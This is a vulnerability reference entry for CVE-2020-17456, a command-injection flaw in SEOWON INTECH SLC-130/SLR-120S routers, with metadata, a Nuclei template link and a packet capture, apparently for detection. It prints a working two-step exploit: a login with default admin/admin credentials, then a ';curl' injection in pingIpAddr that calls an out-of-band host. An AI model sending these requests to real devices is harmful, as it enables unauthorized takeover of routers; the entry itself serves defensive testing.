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CVE-2020-17456: SEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution

TitleSEOWON INTECH SLC-130 & SLR-120S - Unauthenticated Remote Code Execution
Authorgy741,edoardottt
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
RemediationApply the latest firmware update provided by the vendor to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.9004
CVE IDCVE-2020-17456
CWE IDCWE-78
Tags cve cve2020 seowon oast packetstorm rce router unauth iot seowonintech vkev vuln

🔍 Vulnerability Description

SEOWON INTECH SLC-130 and SLR-120S devices allow remote code execution via the ipAddr parameter to the system_log.cgi page.

🌐 HTTP Request

POST /cgi-bin/login.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 148
Content-Type: application/x-www-form-urlencoded
Origin: http://www.victim.com
Referer: http://www.victim.com
Accept-Encoding: gzip

browserTime=081119502020&currentTime=1597159205&expires=Wed%252C%2B12%2BAug%2B2020%2B15%253A20%253A05%2BGMT&Command=Submit&user=admin&password=admin
POST /cgi-bin/system_log.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 282
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

Command=Diagnostic&traceMode=ping&reportIpOnly=&pingIpAddr=;curl+http%3a//d5jokkple0o0lt65eg90k5uekb4uo9gmj.oast.live+-H+'User-Agent%3a+WWcObw'&pingPktSize=56&pingTimeout=30&pingCount=4&maxTTLCnt=30&queriesCnt=3&reportIpOnlyCheckbox=on&logarea=com.cgi&btnApply=Apply&T=1646950471018

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-17456.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-17456.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A